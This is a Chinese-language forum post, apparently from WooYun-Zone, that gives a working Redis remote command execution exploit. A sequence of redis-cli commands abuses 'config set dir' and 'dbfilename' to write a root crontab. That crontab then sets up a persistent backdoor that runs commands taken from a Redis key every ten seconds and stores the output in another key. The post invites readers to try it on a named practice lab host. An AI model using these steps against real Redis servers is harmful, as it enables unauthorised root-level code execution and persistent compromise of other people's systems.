redis 远程命令执行 exploit (不需要flushall) (WOOYUN

  • A+
所属分类:WooYun-Zone

猪猪侠redis 远程命令执行 exploit (不需要flushall)  (WOOYUN (每次有人骂我是猪我都说自己是猪猪侠) redis 远程命令执行 exploit (不需要flushall)  (WOOYUN | 2015-11-11 13:48

redis的exploit,完全不需要flushall破坏数据场景,redis-cli set 1 'ringzero',这样可以控制第一条记录,就能保证你的内容始终保持在最前面;

测试环境:CentOS,RHEL

# 利用crontab创建文件 /tmp/888

redis-cli flushall # 为了方便测试
redis-cli set test 'test'
redis-cli set my 'mymymymymymymymymymymymy'
redis-cli set word 'wordwordwordwordwordword'
redis-cli set hello 'ringzero'
redis-cli set word1 'word1word1word1word1word1word1'
echo -e "\n\n*/1 * * * * /bin/touch /tmp/888\n\n"|redis-cli -x set 1
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
redis-cli save

redis-cli flushall
echo -e "\n\n*/1 * * * * /bin/touch /tmp/888\n\n"|redis-cli -x set 1
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
redis-cli save

# 二次改写crontab

redis-cli flushall
redis-cli set 2 ';a=`redis-cli get c`;'
redis-cli set 1 'id;redis-cli set r `$a`;#'
redis-cli config set dir /tmp/
redis-cli config set dbfilename w
redis-cli save
redis-cli set c whoami

# 利用第一步的写crontab步骤,完成下面的命令

echo " " > /tmp/zz
cat /tmp/w >> /tmp/zz
/bin/sh /tmp/zz
redis-cli get r

控制 /var/spool/cron/root 和 /tmp/zz

# 最终实现,每10秒从redis的c变量读入要执行的命令,再将执行结果写入变量r

* * * * * sleep 10;/bin/sh /tmp/zz

三个白帽环境如下:

域名:208061131146e3af7.tsjie.sangebaimao.com
服务:redis   端口 6379
        openssh 端口 32770

快来玩玩 redis 远程执行命令的利用吧

分享到: